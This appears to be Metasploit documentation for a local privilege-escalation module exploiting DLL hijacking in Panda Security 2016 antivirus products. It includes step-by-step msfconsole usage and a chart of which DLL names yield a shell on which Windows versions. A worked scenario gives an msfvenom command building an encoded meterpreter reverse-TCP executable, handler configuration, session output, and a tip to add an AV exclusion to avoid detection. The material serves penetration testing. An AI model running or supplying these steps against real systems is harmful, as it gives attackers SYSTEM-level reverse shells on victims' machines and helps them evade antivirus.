PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. When run, it checks a user writable folder for certain DLL files, and if any are found they are automatically run. Vulnerable Products: Panda Global Protection 2016 (<=16.1.2) Panda Antivirus Pro 2016 (<=16.1.2) Panda Small Business Protection (<=16.1.2) Panda Internet Security 2016 (<=16.1.2)

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/panda_psevents
msf exploit(panda_psevents) > show targets
    ... a list of targets ...
msf exploit(panda_psevents) > set TARGET target-id
msf exploit(panda_psevents) > show options
    ... show and set options ...
msf exploit(panda_psevents) > set SESSION session-id
msf exploit(panda_psevents) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Panda Antivirus Pro 2016 16.1.2 is available from filehippo or from an unofficial git.

The AV must be running for PSEvents.exe to run and the module to get called, which can take up to an hour. I 32bit meterpreter seems to get caught, so you may need an AV exclusion for the folder to ensure it didn't catch meterpreter in action.

The downloads folder can take a 10-15 minutes to appear after install, and its downloaded by Panda AV from the company.

  1. Theres an HTTP GET request to 23.215.132.154 for /retail/psprofiler/40032/psprofiler_suite.exe
  2. Then right after HTTP GET request to 23.215.132.154 for /retail/psevents_suite.exe.

Verification Steps


  1. Install the application
  2. Wait for C:\ProgramData\Panda Security\Panda Devices Agent\Downloads folder to appear
  3. Start msfconsole
  4. Get a shell
  5. Do: use exploit/windows/local/panda_psevents
  6. Do: set session [ID]
  7. Do: exploit
  8. Go do something else while you wait
  9. Enjoy being system with your shell

Options


DLL

Which DLL to name our payload. The original vulnerability writeup utilized bcryptPrimitives.dll, and mentioned several others that could be used. However the dll seems to be VERY picky. Default is cryptnet.dll. See the chart for more details.

WINHTTP.dll VERSION.dll bcryptPrimitives.dll CRYPTBASE.dll cryptnet.dll WININET.dll
64bit target (1), win10 x64 CRASH CRASH NO NO valid no
64bit target (1), win8.1 x86 CRASH CRASH NO valid valid no
32bit target (0), win10 x64 CRASH CRASH NO NO valid no
32bit target (0), win8.1 x86 CRASH CRASH NO valid valid (caught by av) no
32bit target (0), win7sp1 x86 valid valid (caught by av)

In this chart, CRASH means PSEvents.exe crashed on the system. NO means PSEvents didn't crash, but no session was obtained. valid means we got a shell.

ListenerTimeout

How long to wait for a shell. PSEvents.exe runs every hour or so, so the default is 3610 (10sec to account for code execution or other things)

Scenarios


Windows 8.1 x86 with Panda Antirivus Pro 2016 16.1.2

Step 1, get a local shell. I used msfvenom to drop an exe for easy user level meterpreter.

msfvenom -a x86 --platform windows -p windows/meterpreter_reverse_tcp -f exe -o meterpreter.exe -e x86/shikata_ga_nai -i 1 LHOST=192.168.2.117 LPORT=4449

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter_reverse_tcp 
payload => windows/meterpreter_reverse_tcp
msf exploit(handler) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(handler) > set lport 4449
lport => 4449
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.2.117:4449 
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.2.117:4449 -> 192.168.2.91:63617) at 2016-09-25 20:32:15 -0400

meterpreter > getuid
Server username: IE11Win8_1\IEUser
meterpreter > background
[*] Backgrounding session 1...

Step 2, drop our panda exploit

use exploit/windows/local/panda_psevents
msf exploit(panda_psevents) > set session 1
session => 1
msf exploit(panda_psevents) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(panda_psevents) > set exitfunc seh
exitfunc => seh
msf exploit(panda_psevents) > set DLL CRYPTBASE.dll
DLL => CRYPTBASE.dll
msf exploit(panda_psevents) > show options
